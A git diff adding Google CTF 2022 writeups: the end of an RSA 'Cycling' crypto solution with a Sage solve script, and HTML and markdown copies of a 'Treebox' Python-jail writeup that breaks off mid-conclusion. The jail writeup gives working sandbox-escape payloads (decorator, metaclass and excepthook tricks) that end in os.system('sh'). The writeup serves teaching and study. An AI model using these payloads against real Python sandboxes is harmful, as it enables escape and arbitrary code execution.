looking for $\gcd(a^M - 1, n)$ should allow us to recover $p$. +Traditionally, Pollard's method computes $a^M \pmod n$ by repeatedly taking $s$th powers of an accumulator and testing whether the $\gcd$ results in a factorization. +The advantage of this is twofold: one doesn't need to fully compute $M$ in its entirety[^6] and as long as the largest factor of $p - 1$ differs from the largest factor of $q - 1$,[^7] the method will still work, rather than yielding $n$ as the $\gcd$. + +To abstract the bound $B$ away, we simply notice that all it gives us is some superset $\mathcal{C}$ of prime (power) factors of $p - 1$. +This is exactly what we already found by enumerating primes $s_i$ such that $s_i - 1 \mid R + 1$! +If we call such a set $\mathcal{C}$ a [factor base](https://en.wikipedia.org/wiki/Factor_base), and slightly generalize Pollard's algorithm, we can apply it to our situation as well. +And this is exactly the approach we see in the official solution script: we take some base $a$ (there called $m$), repeatedly exponentiate it by potential prime factors, and check if $\gcd(a' - 1, n) \notin \{1, n\}$. + +Once a factorization of $n$ is found, it is of course only a matter of performing regular RSA decryption to obtain the flag. + +[^5]: In this script, we can also observe a clean explanation of why $R + 1$ can be easily factored or found on factordb: $R + 1 = 2(2^{1024} - 1)$ is twice a [Mersenne number](https://en.wikipedia.org/wiki/Mersenne_prime). +[^6]: Computing all of $M$ would result in a potentially huge number that is unwieldy to work with. +[^7]: Alternatively, we could reorder the factors in question, replace the notion of "largest" by "latest in the reordered sequence", though that is less practical from an implementation point of view. + +## Does this always work? + +Until now, we've made several assumptions that turned out to be correct, in order to solve this challenge. +Even the official solution turns out to rely on those assumptions,[^8] so we'd like to have a look at how much trouble we'd be in when the assumptions would be invalidated. +To restate our assumptions more explicitly: + +1. $R + 1 = \lambda(\lambda(n))$ + - The inner $\lambda$ corresponds to the multiplicative order of the flag, $\|m\| \pmod n$ + - The outer $\lambda$ corresponds to the multiplicative order of $e$, modulo $\|m\|$ +2. $p - 1$ and $q - 1$ are square-free, that is, none of their prime factors occur with multiplicity $> 1$. +3. All $s_i - 1$ are square-free, where $s_i \mid \lambda(n)$, but this has been confirmed by the factorization of $R + 1$ + +And let's also introduce some counterexamples for all of these, where our assumption is invalidated, and our solution becomes broken: + +1. We explore the possibility for both $\lambda$s: + - Let $n = 77$, then $\lambda(n) = \mathrm{lcm}(6, 10) = 30$, but for the message $m = 15$, it's already true that $m^5 \equiv 1 \pmod n$, rather than the expected $m^{30}$. + This in turn implies that we only need $e^{R + 1} \equiv 1 \pmod 5$ to complete decrypt this message by cycling. + - We now use $n = 989 = 23\times43$, so $\lambda(n) = 2\times3\times7\times11 = 462$ and $\lambda(\lambda(n)) = \mathrm{lcm}(2, 6, 10) = 30$, but for instance $e = 379$ only has multiplicative order $5$ modulo $\lambda(n)$. +2. Consider $n = 163\times67 = 10921$, then $\lambda(n) = \mathrm{lcm}(2\times3^4, 2\times3\times11) = 2\times3^4\times11 = 1782$. + $\lambda(\lambda(n))$ would then be $2\times3^3\times5$, and we'd never pick up $3^4$ as a potential factor out of any subset. +3. Similar issues to the earlier point occur, except they are introduced slightly later in the process of computing $\lambda(\lambda(n))$. + +Other than those assumptions, there's some more things that can go wrong. +We've relied on enumerating all subsets of factors of $R + 1$, but --- as we remarked with an initial failed idea of repeating such an enumeration on the result of that --- that takes exponential time in the number of factors. +If we end up with a large amount of these factors, we might in fact already get in trouble trying to enumerate all subsets, and spend a long time waiting for that.[^9] +On the other side of that medallion, to obtain that initial list of factors, we need to be able to factor this value $R + 1$. +Now, if we consider for instance the worst case, where $p$ and $q$ are what we could call *doubly-safe* primes, i.e. $p = 2(2p' + 1) + 1$, $p$ and $\frac{p - 1}{2}$ are both safe primes, there's only a minor difference in number of bits between $n$ and $\lambda(\lambda(n))$ and the latter is even a new RSA modulus. +By assumed security of RSA (unless you get extra information like in this challenge), factoring that would not be feasible. + + +[^8]: After the end of the CTF, one of the organizers clarified that the challenge description would have better stated that the given number of repetitions works for *any* exponent $e$. [reference](https://discord.com/channels/984515980766109716/984516677624541194/993499537580761119). +[^9]: This does make me wonder if some other modification of e.g. the `p - 1` algorithm might be able to deal with this issue, but so far I've been unable to come up with a proper adaptation. I'm always open for comments or ideas if you would happen to have any on this topic. + +## Can we fix it? + +> Yes we can! + +Sort of, at least. +Unless my very vague notion from the footnote in the previous section pans out, I don't expect we could get around the exponential time enumeration, or the factoring problems. +We can however try to fix up some of the problems our assumptions brought along, and get a slightly more generic solution. + +Let's first look at the case where $\|m\| < \lambda(n)$. +Since for our original approach, we only care about $m$ itself, and not about factoring, we only need to find a multiple of $\|m\|$, which we still get from our powerset enumeration (under the assumption, for now, that we get $\lambda(\|m\|)$). +This means we can still compute an effective decryption exponent that works for $m$ itself, and any element with an order dividing $\| m\|$. +Moreover, we can still use this to fully factor $n$ too. +Once we decrypt $m$, we know that $m^{k\mid m\|} \equiv 1 \pmod n$, which means we can again apply our `p - 1` approach with a factor base to find an exponent $M$ such that $m^M \equiv 1 \pmod p$. +Note that we require the use of $m$ as basis here, rather than an arbitrary number $a$. +The only condition under which this will still necessarily fail is when $\|m\|$ divides $\gcd(p - 1, q - 1)$, since then any exponent such that $m^M \equiv 1 \pmod p$ also satisfies $m^M \equiv 1 \pmod q$.[^10] + +[^10]: Taken to the extreme, we might suddenly be able to factorize again, when e.g. $m^2 \equiv 1 \pmod n$. + +Next, we investigate the case where $R + 1 \ne \lambda(\|m\|)$. +Unfortunately, the solution here isn't quite as clean. +When the order of $e$ is too small, we simply lack the information to recover enough primes. +When the order of $e$ is only slightly too small, we should be able to salvage it with only a constant cost to our computation time. +Pick a fixed-size (multi)set of small primes $\mathcal{P}$, and let $\mathcal{C}' = \mathcal{C} \cup \mathcal{P}$. +This increases the computation time with a factor $2^{\|\mathcal{P}\|}$, but as long as the "lost" factor of $\lambda(\|m\|)$ is factorable over $\mathcal{P}$, our algorithm works again. +Optionally, if we would like to deal with more complex situations, we could also construct more complex ways to add extra factors. +For example, an approach comparable to the "two-stage" variant of the `p - 1` algorithm is possible, where we take e.g. at most 4 "small" primes and 1 "medium" sized extra prime. + +Finally, how can we deal with the annoyance of prime powers? +To deal with prime power divisors of $\lambda(n)$, it's possible to apply a strategy similar to the `p - 1` factoring algorithm, where every prime factor is simply included multiple times. +Since exponents larger than $2$ can be detected in the factorization of $R + 1$, we recommend including each factor twice, unless evidence to the contrary is present from the factorization of $R + 1$.[^11] +The more conservative approach would be to include each prime $s$ a number of times proportional to $\frac{\log(n)}{\log(s)}$, which comes at an obvious computational cost. +For the prime power divisors of $\lambda(\lambda(n))$, we'll need to do just a bit more work. +If we see a prime power $s^r$ when factoring $R + 1$, it should be clear from how $\lambda$ works that we expect to also see the factors of $s - 1$ appear. +In that case, it's obvious that $s^{r + 1}$ should be in $\mathcal{C}$. +When however $s^2 \mid s_i$, we only see $s$ and the factors of $s - 1$ appear when factoring $R + 1$. +Hence, when we add a prime to $\mathcal{C}$ that still divides $R + 1$, we should add it with a higher multiplicity. + +[^11]: One exception here might be for powers of $2$, since that's always the oddest prime, and it behaves differently when computing $\lambda$. + +## Talk is cheap, show me the code + +We present here the code as we implemented it during the CTF. +That is, making maximal assumptions such that it still gets the flag. +The code for factorization based on Pollard's `p - 1` algorithm can be found in the [official solution](https://github.com/google/google-ctf/blob/master/2022/crypto-cycling/src/solve.py). +Interested readers are encouraged to understand, implement and share the suggested improvements of this article :) + +```sage +proof.all(False) # speed up primality checking a bit +import itertools +from Crypto.Util.number import long_to_bytes + +# From the itertools documentation/example +def powerset(iterable): + "powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)" + s = list(iterable) + return itertools.chain.from_iterable(itertools.combinations(s, r) for r in range(len(s)+1)) + +# From factordb +factors = [2, 3, 5, 17, 257, 641, 65537, 274177, 2424833, 6700417, 67280421310721, 1238926361552897, 59649589127497217, 5704689200685129054721, 7455602825647884208337395736200454918783366342657, (2^256+1)//1238926361552897, (2^512+1)//18078591766524236008555392315198157702078226558764001281] +assert 2**1025-2 == prod(factors) + +C = [] +for ps in powerset(factors): + v = prod(ps) + 1 + if is_prime(v): + C.append(prod(ps) + 1) +Ξ = prod(C) + +e = 65537 +n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1 +ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680 + +d = pow(e, -1, Ξ) +print(long_to_bytes(int(pow(ct, d, n)))) +``` diff --git a/GCTF-2022/index.html b/GCTF-2022/index.html new file mode 100755 index 0000000..dbfc6c7 --- /dev/null +++ b/GCTF-2022/index.html @@ -0,0 +1,219 @@ + + + + + +Google CTF 2022 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Google CTF 2022

+ + + + + + + + + + + + + + + + + + +
ChallengeCategory
TreeboxSandbox
CyclingCrypto
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/GCTF-2022/index.md b/GCTF-2022/index.md new file mode 100755 index 0000000..ad8b6f6 --- /dev/null +++ b/GCTF-2022/index.md @@ -0,0 +1,6 @@ +# Google CTF 2022 + +| Challenge | Category | +|------------------------------|----------| +| [Treebox](./sandbox/treebox) | Sandbox | +| [Cycling](./crypto/cycling) | Crypto | diff --git a/GCTF-2022/sandbox/treebox.html b/GCTF-2022/sandbox/treebox.html new file mode 100755 index 0000000..a921696 --- /dev/null +++ b/GCTF-2022/sandbox/treebox.html @@ -0,0 +1,445 @@ + + + + + +Treebox | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Treebox

+ +

Author: Robin_Jadoul

+ +

Tags: pyjail

+ +

Points: 50 (268 solves)

+ +

Alternate URL: https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/

+ +

Description:

+ +
+

I think I finally got Python sandboxing right.

+
+ +

On the topic of pyjails

+ +

Python was one of the first programming languages I became acquainted with, and to this day remains one of – and probably even the – main language I go back to when I need to quickly write something, ranging from a proof of concept, to a hacky script that does some math when I’m too lazy, to the ever-recurring CTF solution scripts.1 +As such, ever since I started playing CTFs and encountering pyjail challenges, I’ve thoroughly enjoyed the concept of these jails, the act of playing Houdini, and even occasionally creating some pyjail challenges myself. +For some examples of earlier pyjails I particularly enjoyed, you can for example refer to my writeups for this recent challenge on DiceCTF or the 0CTF/TCTF challenge that to the best of my knowledge was the first to introduce the audit hook system as a jailing mechanism2.

+ +

Through this fascination and repeated exposure to pyjail challenges, in combination with coincidentally opening up the challenge rather early on, I was able to snatch the first blood on it. +In a move that surprised myself too, I was able to have a turnaround time only 2 minutes between first looking at the challenge file, and obtaining the flag.

+ +

I was able to find several of the approaches and techniques presented further on by myself/independently, but in order to present a wider overview of the used attack surfaces, I also referenced the publicly posted exploits in the CTF discord. +Even for those approaches where I constructed my own viable payloads, I attempt to reference some messages posted in the #sandbox channel of the public discord after the conclusion of the CTF.

+ +

One interesting thing to notice for this challenge in particular, and presumably a reason for the high solve count, is that several of the pyjail escape methods listed on the hacktricks page apply directly to this challenge, so the situation is already well-documented.

+ +

The great snake, constricted

+ +

Let’s first have a look at what the challenge allows us to do, or rather what it doesn’t allow us to do:

+ +
#!/usr/bin/python3 -u
+#
+# Flag is in a file called "flag" in cwd.
+#
+# Quote from Dockerfile:
+#   FROM ubuntu:22.04
+#   RUN apt-get update && apt-get install -y python3
+#
+import ast
+import sys
+import os
+
+def verify_secure(m):
+  for x in ast.walk(m):
+    match type(x):
+      case (ast.Import|ast.ImportFrom|ast.Call):
+        print(f"ERROR: Banned statement {x}")
+        return False
+  return True
+
+abspath = os.path.abspath(__file__)
+dname = os.path.dirname(abspath)
+os.chdir(dname)
+
+print("-- Please enter code (last line must contain only --END)")
+source_code = ""
+while True:
+  line = sys.stdin.readline()
+  if line.startswith("--END"):
+    break
+  source_code += line
+
+tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
+if verify_secure(tree):  # Safe to execute!
+  print("-- Executing safe code:")
+  compiled = compile(source_code, "input.py", 'exec')
+  exec(compiled)
+
+ +

Summarized: there is an ast based blacklist in place that prevents us from either calling functions3 or importing modules through the import statement. +As far as I’m aware, ast relies on the actual parser that the python interpreter itself uses, so we’re unlikely to encounter any parser differentials to abuse here. +On the upside, and something that’s certainly not a guarantee in this kind of challenge, we do have full access to all python builtins. +There are also no character-level blocks, so we could use parentheses in some context if we wanted; as long as they’re not used to call a function.

+ +

On the topic of import statements, it’s worth noting that, with the access to the python builtins that we have, being able to call functions is enough, since the __import__ function could do everything we need from it.

+ +

Our end goal for this challenge would be an (arbitrary) file read of the flag file, but of course we won’t say no to getting full code execution if it happens to fit our needs.

+ +

My very first solution is similar to the polygl0ts writeup for the noparensjail challenge from b01lers CTF 2021. +Contrary to the intended solution presented by the people from b01lers, we can’t directly use import, so we need some other approach. +Luckily, the polygl0ts approach works, but is a bit more convoluted than what we really need.

+ +

To see why exactly, and to see the beauty of this exploit, we first make a quick detour through two short python expressions that can give us full code execution without further restrictions4 (either still in python, or directly in a shell). +Without a doubt, the shortest expression I know that achieves this is help(), which can spawn a shell through the more pager if a topic that takes up more than a page is requested at the interactive help prompt. +Unfortunately, that requires both a pager being present, and a tty, which isn’t the case for this challenge. +So instead, I went for the second convenient method I knew: exec(input()). +Since we arrive in a fresh execution context, with arbitrary code sent through stdin, the ast blacklist no longer applies to our new code, and we can do whatever we want from there.

+ +

So the full exploit code is something as simple as

+ +
@exec
+@input
+class X:
+    pass
+
+ +

and keeping in mind how decorators works, we can see that this code is equivalent to

+ +
class X:
+    pass
+X = input(X)
+X = exec(X)
+
+ +

which is essentially the same as our wanted exec(input()) other than the fact that input(X) will also print a representation of the class X to stdout before reading.

+ +

Since decorators aren’t parsed as call expressions or statements, this passes the blacklist, and allows us to finally pass in an input such as import os; os.system("sh") to obtain a shell and display the flag.

+ +

See this example for a similar exploit template, but going through some different methods to establish code execution.

+ +

Alternative approaches

+ +

With my initial solution behind us now, let’s have a look at some of the other approaches, and general techniques that can also allow flag recovery on this challenge. +The general spirit behind all of these will obviously be to use something in the python ecosystem that ends up calling a function, without being an explicit function call. +The approaches I found or observed roughly fall into three categories:

+ +
    +
  • Operator overloading
  • +
  • Function overwriting
  • +
  • Interpreter hooks
  • +
+ +

These categories can of course overlap somewhat, or not exactly cover everything, but you get the idea :)

+ +

Operator overloading, aka x.equals("string") sucks

+ +

In python, operator overloading in general works by writing custom functions on your class with special names. +These are also known as dunder methods, after how the names are all enclosed in double underscores, such as the well-known __init__ constructor. +So if we can overwrite functions such as __getitem__ or __add__ on a class, or if we can write our own classes with those methods, we can get function calls for example with

+ +
obj[argument]
+# Or
+obj + argument
+
+ +

To overwrite these methods on existing classes/objects, we need to find something that’s implemented in plain python, as things implemented in C/in extension modules are read-only. +Some of the possible approaches are for example:

+ + + +

Hippity, hoppity, this attribute is now my property

+ +

Since some of these don’t take any arguments at all, we’ll also need some “one-shot” functions that we can leverage to get either an arbitrary file read, or more python control.

+ +

For arbitrary file read, one approach includes overwriting some of the innards of the license() builtin function.5 +More in particular, overwriting the “private”6 member variable that specifies from which files it reads license information. +Another approach calls the breakpoint() builtin, that by default points to pdb.set_trace(), which spawns a pdb debugger. +With a debugger, we can easily evaluate arbitrary python code again to obtain a system shell.

+ +

Another function that can be overwritten to get one-shot function call includes sys.stdout.flush which would get called upon interpreter exit, or sys.stderr.flush which can be triggered when an exception occurs. +Both the os and sys modules were already imported in the parent context, so we can access either sys directly, or pass through os.sys.

+ +

Everything is an object, even if it’s a class

+ +

Next up, let’s explore a few ways to create objects, of course without calling the constructor explicitly. +The first approach towards this we can use relies on the concept of metaclasses. +In short, a class is itself also an object, and its type/class is known as a metaclass. +The standard metaclass for classes is type, whose own metaclass is, interestingly, type. +The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as metaclass.7 +Since this is all a bit confusing, perhaps, let’s show some example code:

+ +
# This will define the members on the "sub"class
+class Metaclass:
+    __getitem__ = exec # So Sub[string] will execute exec(string)
+# Note: Metaclass.__class__ == type
+    
+class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
+    pass # Nothing special to do
+
+assert isinstance(Sub, Metaclass)
+sub['import os; os.system("sh")']
+
+ +

One other example takes this further by overloading the __instancecheck__ dunder and triggering it through a match statement (example).

+ +

Exceptional function calls

+ +

Another approach to making instances of a class is also documented on hacktricks: throw and catch an exception. +Throwing an exception without arguments will automatically call its constructor. +Then we can either use of our previously-covered one-shot functions (example), or use the operator overloading as with the metaclasses above (what hacktricks does).

+ +

Writing a one-shot function taking three arguments to sys.excepthook could also allow for exploitation by throwing an (uncaught) exception.

+ +

And finally, looking at the reference solution, we can see that there’s even some room to exploit OS/distro-specific functionality to combine with error handling and operator overloading to execute code. +In particular, here the interpreter will try to import an apt-specific module to potentially report an error in ubuntu-provided modules, but import will instead construct an object that will call an overloaded operator to execute code. +Without overwriting __import__ and applying the previous exception-based object construction instead, we could also apply the same __init__ to __iadd__ chaining as demonstrated here. +More generally, defining __init__ will allow for similar one-shot approaches taking an arbitrary number of arguments, such as we wished for above:

+ +
class X:
+    def __init__(self, a, b, c):
+        self += "os.system('sh')"
+    __iadd__ = exec
+sys.excepthook = X
+1/0
+
+ +

Conclusion

+ +

This jail was leakier than a sieve, and it probably had the highest amount of sufficiently distinct potential solutions I’ve ever seen on a pyjail so far. +Together with some payloads that could be directly copy-pasted from previous writeups and hacktricks, this led to a high amount of solves. +The challenge itself was however still a lot of fun, and particularly interesting as a case-study of exploitation approaches that are allowed by a minimal-but-not-trivial AST-based blacklist,8 for which I would like to thank the author.

+ +

Addendum

+ +

While there were a lot of different exploits possible, I’m particularly happy with my initial one, for a few arbitrary reasons:

+ +
    +
  • It got me a quick first blood
  • +
  • It’s one of the few exploits that don’t need any parentheses at all
  • +
  • When looking at it as a code golf challenge, it has the lowest amount of characters I’ve seen in any of the solutions posted on discord. This is even improved upon slightly be replacing the pass in the class body with simply the constant 0.
  • +
+
+
    +
  1. +

    And of course, the existence of tools such as sage that plug into this ecosystem and that are indispensable for cryptographic exploration only serve to enhance my dependency on python. 

    +
  2. +
  3. +

    Since writing this, I’ve been informed that there were in fact earlier CTFs doing this that I was unaware of. For instance this French CTF did it before, and potentially there’d be others too. 

    +
  4. +
  5. +

    Or prevents us from calling callables in general, really. For instance constructing a class isn’t really calling a function, but it would get caught here too. 

    +
  6. +
  7. +

    As long as we still have access to the python builtins, otherwise we need to circumvent that, potentially in the second stage again too. 

    +
  8. +
  9. +

    See hacktricks for a reference on exactly which member to write to. 

    +
  10. +
  11. +

    Heh, thanks python. 

    +
  12. +
  13. +

    This is starting to feel like a “how many times can you use the word class in a sentence while still being understandable and correct”… 

    +
  14. +
  15. +

    And obviously, that is exactly what this writeup aims to be :) 

    +
  16. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/GCTF-2022/sandbox/treebox.md b/GCTF-2022/sandbox/treebox.md new file mode 100755 index 0000000..e170945 --- /dev/null +++ b/GCTF-2022/sandbox/treebox.md @@ -0,0 +1,233 @@ +# Treebox + +**Author**: Robin_Jadoul + +**Tags**: pyjail + +**Points**: 50 (268 solves) + +**Alternate URL**: + +**Description**: + +> I think I finally got Python sandboxing right. + + +## On the topic of pyjails + +Python was one of the first programming languages I became acquainted with, and to this day remains one of -- and probably even *the* -- main language I go back to when I need to quickly write something, ranging from a proof of concept, to a hacky script that does some math when I'm too lazy, to the ever-recurring CTF solution scripts.[^1] +As such, ever since I started playing CTFs and encountering pyjail challenges, I've thoroughly enjoyed the concept of these jails, the act of playing Houdini, and even occasionally creating some pyjail challenges myself. +For some examples of earlier pyjails I particularly enjoyed, you can for example refer to my writeups for [this recent challenge on DiceCTF](https://ur4ndom.dev/posts/2022-02-08-dicectf-ti1337/) or [the 0CTF/TCTF challenge](https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/) that to the best of my knowledge was the first to introduce the audit hook system as a jailing mechanism[^audithookctf]. + +[^1]: And of course, the existence of tools such as [sage](https://sagemath.org) that plug into this ecosystem and that are indispensable for cryptographic exploration only serve to enhance my dependency on python. +[^audithookctf]: Since writing this, I've been informed that there were in fact earlier CTFs doing this that I was unaware of. For instance this [French CTF](https://redoste.xyz/2020/05/04/fr-write-up-fcsc-2020-why-not-a-sandbox/) did it before, and potentially there'd be others too. + +Through this fascination and repeated exposure to pyjail challenges, in combination with coincidentally opening up the challenge rather early on, I was able to snatch the first blood on it. +In a move that surprised myself too, I was able to have a turnaround time only **2** minutes between first looking at the challenge file, and obtaining the flag. + +I was able to find several of the approaches and techniques presented further on by myself/independently, but in order to present a wider overview of the used attack surfaces, I also referenced the publicly posted exploits in the CTF discord. +Even for those approaches where I constructed my own viable payloads, I attempt to reference some messages posted in the #sandbox channel of the [public discord](https://discord.gg/nt6JFkk3mu) after the conclusion of the CTF. + +One interesting thing to notice for this challenge in particular, and presumably a reason for the high solve count, is that several of the pyjail escape methods listed on [the hacktricks page](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes) apply directly to this challenge, so the situation is already well-documented. + +## The great snake, constricted + +Let's first have a look at what the challenge allows us to do, or rather what it doesn't allow us to do: + +```python +#!/usr/bin/python3 -u +# +# Flag is in a file called "flag" in cwd. +# +# Quote from Dockerfile: +# FROM ubuntu:22.04 +# RUN apt-get update && apt-get install -y python3 +# +import ast +import sys +import os + +def verify_secure(m): + for x in ast.walk(m): + match type(x): + case (ast.Import|ast.ImportFrom|ast.Call): + print(f"ERROR: Banned statement {x}") + return False + return True + +abspath = os.path.abspath(__file__) +dname = os.path.dirname(abspath) +os.chdir(dname) + +print("-- Please enter code (last line must contain only --END)") +source_code = "" +while True: + line = sys.stdin.readline() + if line.startswith("--END"): + break + source_code += line + +tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST) +if verify_secure(tree): # Safe to execute! + print("-- Executing safe code:") + compiled = compile(source_code, "input.py", 'exec') + exec(compiled) +``` + +Summarized: there is an `ast` based blacklist in place that prevents us from either calling functions[^2] or importing modules through the `import` statement. +As far as I'm aware, `ast` relies on the actual parser that the python interpreter itself uses, so we're unlikely to encounter any parser differentials to abuse here. +On the upside, and something that's certainly not a guarantee in this kind of challenge, we do have full access to all python builtins. +There are also no character-level blocks, so we *could* use parentheses in some context if we wanted; as long as they're not used to call a function. + +On the topic of `import` statements, it's worth noting that, with the access to the python builtins that we have, being able to call functions is enough, since the `__import__` function could do everything we need from it. + +[^2]: Or prevents us from calling *callables* in general, really. For instance constructing a class isn't really calling a function, but it would get caught here too. + +Our end goal for this challenge would be an (arbitrary) file read of the `flag` file, but of course we won't say no to getting full code execution if it happens to fit our needs. + +My very first solution is similar to the [polygl0ts writeup](https://polygl0ts.ch/writeups/2021/b01lers/pyjail_noparens/README.html) for the [noparensjail](https://github.com/b01lers/b01lers-ctf-2021/tree/main/misc/noparensjail) challenge from b01lers CTF 2021. +Contrary to the intended solution presented by the people from b01lers, we can't directly use `import`, so we need some other approach. +Luckily, the polygl0ts approach works, but is a bit more convoluted than what we really need. + +To see why exactly, and to see the beauty of this exploit, we first make a quick detour through two *short* python expressions that can give us full code execution without further restrictions[^3] (either still in python, or directly in a shell). +Without a doubt, the shortest expression I know that achieves this is `help()`, which can spawn a shell through the `more` pager if a topic that takes up more than a page is requested at the interactive help prompt. +Unfortunately, that requires both a pager being present, and a tty, which isn't the case for this challenge. +So instead, I went for the second convenient method I knew: `exec(input())`. +Since we arrive in a fresh execution context, with arbitrary code sent through stdin, the `ast` blacklist no longer applies to our new code, and we can do whatever we want from there. + +[^3]: As long as we still have access to the python builtins, otherwise we need to circumvent that, potentially in the second stage again too. + +So the full exploit code is something as simple as + +```python +@exec +@input +class X: + pass +``` + +and keeping in mind how [decorators](https://docs.python.org/3/glossary.html#term-decorator) works, we can see that this code is equivalent to + +```python +class X: + pass +X = input(X) +X = exec(X) +``` + +which is essentially the same as our wanted `exec(input())` other than the fact that `input(X)` will also print a representation of the class `X` to stdout before reading. + +Since decorators aren't parsed as call expressions or statements, this passes the blacklist, and allows us to finally pass in an input such as `import os; os.system("sh")` to obtain a shell and display the flag. + +See [this example](https://discord.com/channels/984515980766109716/992433413351018526/993233705927712899) for a similar exploit template, but going through some different methods to establish code execution. + +## Alternative approaches + +With my initial solution behind us now, let's have a look at some of the other approaches, and general techniques that can also allow flag recovery on this challenge. +The general spirit behind all of these will obviously be to use something in the python ecosystem that ends up calling a function, without being an *explicit* function call. +The approaches I found or observed roughly fall into three categories: + +- Operator overloading +- Function overwriting +- Interpreter hooks + +These categories can of course overlap somewhat, or not exactly cover everything, but you get the idea :) + +### Operator overloading, aka `x.equals("string")` sucks + +In python, operator overloading in general works by writing custom functions on your class with special names. +These are also known as *dunder* methods, after how the names are all enclosed in *d*ouble *under*scores, such as the well-known `__init__` constructor. +So if we can overwrite functions such as `__getitem__` or `__add__` on a class, or if we can write our own classes with those methods, we can get function calls for example with + +```python +obj[argument] +# Or +obj + argument +``` + +To overwrite these methods on existing classes/objects, we need to find something that's implemented in plain python, as things implemented in C/in extension modules are read-only. +Some of the possible approaches are for example: + +- the `ast.AST` class and the available `tree` object ([example 1](https://discord.com/channels/984515980766109716/992433413351018526/993310441516314739), [example 2](https://discord.com/channels/984515980766109716/992433413351018526/993241943284924546)) +- the `os.environ` object ([example](https://discord.com/channels/984515980766109716/992433413351018526/993359479477391461)) + +### Hippity, hoppity, this attribute is now my property + +Since some of these don't take any arguments at all, we'll also need some "one-shot" functions that we can leverage to get either an arbitrary file read, or more python control. + +For arbitrary file read, one approach includes overwriting some of the innards of the `license()` builtin function.[^4] +More in particular, overwriting the "private"[^5] member variable that specifies from which files it reads license information. +Another approach calls the `breakpoint()` builtin, that by default points to `pdb.set_trace()`, which spawns a pdb debugger. +With a debugger, we can easily evaluate arbitrary python code again to obtain a system shell. + +Another function that can be overwritten to get one-shot function call includes `sys.stdout.flush` which would get called upon interpreter exit, or `sys.stderr.flush` which can be triggered when an exception occurs. +Both the `os` and `sys` modules were already imported in the parent context, so we can access either `sys` directly, or pass through `os.sys`. + +[^4]: See [hacktricks](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help) for a reference on exactly which member to write to. +[^5]: Heh, thanks python. + + +### Everything is an object, even if it's a class + +Next up, let's explore a few ways to create objects, of course without calling the constructor explicitly. +The first approach towards this we can use relies on the concept of [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses). +In short, a class is itself also an object, and its type/class is known as a metaclass. +The standard metaclass for classes is `type`, whose own metaclass is, interestingly, `type`. +The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as metaclass.[^6] +Since this is all a bit confusing, perhaps, let's show some example code: + +```python +# This will define the members on the "sub"class +class Metaclass: + __getitem__ = exec # So Sub[string] will execute exec(string) +# Note: Metaclass.__class__ == type + +class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass + pass # Nothing special to do + +assert isinstance(Sub, Metaclass) +sub['import os; os.system("sh")'] +``` + +One other example takes this further by overloading the `__instancecheck__` dunder and triggering it through a `match` statement ([example](https://discord.com/channels/984515980766109716/992433413351018526/993222030545666060)). + +[^6]: This is starting to feel like a "how many times can you use the word class in a sentence while still being understandable and correct"... + +### Exceptional function calls + +Another approach to making instances of a class is also documented on [hacktricks](https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#rce-declaring-exceptions): throw and catch an exception. +Throwing an exception without arguments will automatically call its constructor. +Then we can either use of our previously-covered one-shot functions ([example](https://docs.python.org/3/reference/datamodel.html#metaclasses)), or use the operator overloading as with the metaclasses above (what hacktricks does). + +Writing a one-shot function taking three arguments to `sys.excepthook` could also allow for exploitation by throwing an (uncaught) exception. + +And finally, looking at the [reference solution](https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py), we can see that there's even some room to exploit OS/distro-specific functionality to combine with error handling and operator overloading to execute code. +In particular, here the interpreter will try to import an apt-specific module to potentially report an error in ubuntu-provided modules, but import will instead construct an object that will call an overloaded operator to execute code. +Without overwriting `__import__` and applying the previous exception-based object construction instead, we could also apply the same `__init__` to `__iadd__` chaining as demonstrated here. +More generally, defining `__init__` will allow for similar one-shot approaches taking an arbitrary number of arguments, such as we wished for above: + +```python +class X: + def __init__(self, a, b, c): + self += "os.system('sh')" + __iadd__ = exec +sys.excepthook = X +1/0 +``` + +## Conclusion + +This jail was leakier than a sieve, and it probably had the highest amount of sufficiently distinct potential solutions I've ever seen on a pyjail so far. +Together with some payloads that could be directly copy-pasted from previous writeups and 